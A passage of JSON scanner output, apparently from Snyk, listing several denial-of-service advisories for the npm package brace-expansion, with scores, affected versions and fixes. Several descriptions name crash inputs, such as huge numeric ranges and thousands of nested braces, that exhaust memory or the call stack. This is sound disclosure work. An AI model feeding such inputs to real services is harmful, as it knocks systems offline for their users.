"npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": 